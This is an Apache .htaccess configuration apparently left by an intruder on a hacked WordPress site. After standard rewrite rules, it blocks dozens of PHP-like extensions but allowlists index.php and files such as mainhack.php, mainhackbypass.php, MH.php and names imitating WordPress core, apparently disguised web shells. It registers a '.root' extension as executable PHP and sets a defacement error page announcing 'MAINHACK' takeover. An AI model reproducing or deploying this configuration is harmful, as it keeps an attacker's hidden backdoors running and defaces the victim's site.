RewriteEngine On 
# The following rule tells Apache that if the requested filename 
# exists, simply serve it. 
RewriteCond %{REQUEST_FILENAME} -s [OR] 
RewriteCond %{REQUEST_FILENAME} -l [OR] 
RewriteCond %{REQUEST_FILENAME} -d 
RewriteRule ^.*$ - [NC,L] 
# The following rewrites all other queries to index.php. The  
# condition ensures that if you are using Apache aliases to do 
# mass virtual hosting, the base path will be prepended to  
# allow proper resolution of the index.php file; it will work 
# in non-aliased environments as well, providing a safe, one-size  
# fits all solution. 
RewriteCond %{REQUEST_URI}::$1 ^(/.+)(.+)::2$ 
RewriteRule ^(.*) - [E=BASE:%1] 
RewriteRule ^(.*)$ %{ENV:BASE}index.php [NC,L] 
Options -Indexes 
 
<FilesMatch ".(php|Php|pHp|phP|Php.asp|php.anu|php.fla|PHP|php3|php2|Php1|pht|phar|anu|fla|asp|aspx|php.jpg|php6|php7|php8|php9|phtml|shtml|php.aspx|php;.jpg|php.fla|php.phar|fLa|flA|FLa|fLA|FlA|FLA|phtMl|phtmL|PHtml|PhTml|PHTML|PHTml|PHTMl|PhtMl|PHTml|PHtML|pHTMl|PhTML|pHTML|PhtmL|PHTmL|PhtMl|PhtmL|pHtMl|PhTmL|pHtmL|aspx|ASPX|asp|ASP|php.jpg|PHP.JPG|php.xxxjpg|PHP.XXXJPG|php.jpeg|PHP.JPG|PHP.JPEG|PHP.PJEPG|php.pjpeg|php.fla|PHP.FLA|php.png|PHP.PNG|php.gif|PHP.GIF|php.test|php;.jpg|PHP JPG|PHP;.JPG|php;.jpeg|php jpg|php.bak|php.pdf|php.xxxpdf|php.xxxpng|fla|Fla|fLa|fLa|flA|FLa|fLA|FLA|FlA|php.xxxgif|php.xxxpjpeg|php.xxxjpeg|php3.xxxjpeg|php3.xxxjpg|php5.xxxjpg|php3.pjpeg|php5.pjpeg|shtml|php.unknown|php.doc|php.docx|php.pdf|php.ppdf|jpg.PhP|php.txt|php.xxxtxt|PHP.TXT|PHP.XXXTXT|php.xlsx|php.zip|php.xxxzip|shtMl|shtmL|SHtml|ShTml|SHTML|SHTml|SHTMl|ShtMl|SHTml|SHtML|sHTMl|ShTML|sHTML|ShtmL|SHTmL|ShtMl|ShtmL|sHtMl|ShTmL|sHtmL|Shtml|sHtml|shTml|sHTml|zip|shtml)$"> 
 
Order allow,deny 
 
Deny from all 
 
</FilesMatch> 
 
<FilesMatch "^(index.php|mainhackbypass.php|mainhack.php|MH.php|random_bytes_bcrypt.php|load-media.php|admin-action.php|class-bulk-language-upgrader-skin.php|site-media.php|admin-action.php|class-wp-rest-api-settings-controller.php|Dentities.php|Library.php|view-modal.max.asset.php|Load-Hash.php|class-wp-style-engine-css-rules-declarations.php|ca-bundle.php|custom-metrics.php|class-wp-customize-filter.php|session.php|continents-cities-id_ID.php|index-extra.php|hidden-404.php)$"> 
 
Order allow,deny 
 
Allow from all 
 
</FilesMatch> 
 
<IfModule mod_rewrite.c> 
 
RewriteEngine On 
 
RewriteBase / 
 
RewriteRule ^index.php$ - [L] 
 
RewriteCond %{REQUEST_FILENAME} !-f 
 
RewriteCond %{REQUEST_FILENAME} !-d 
 
RewriteRule . /index.php [L] 
 
</IfModule> 
 
AddType application/x-httpd-php .root
ErrorDocument 403 '<center><img src="https://raw.githubusercontent.com/conflicker1/jpg/refs/heads/main/mainhack.jpg"></img> <h3>MAINHACK TAKE OVER FROM HERE BOYS</font>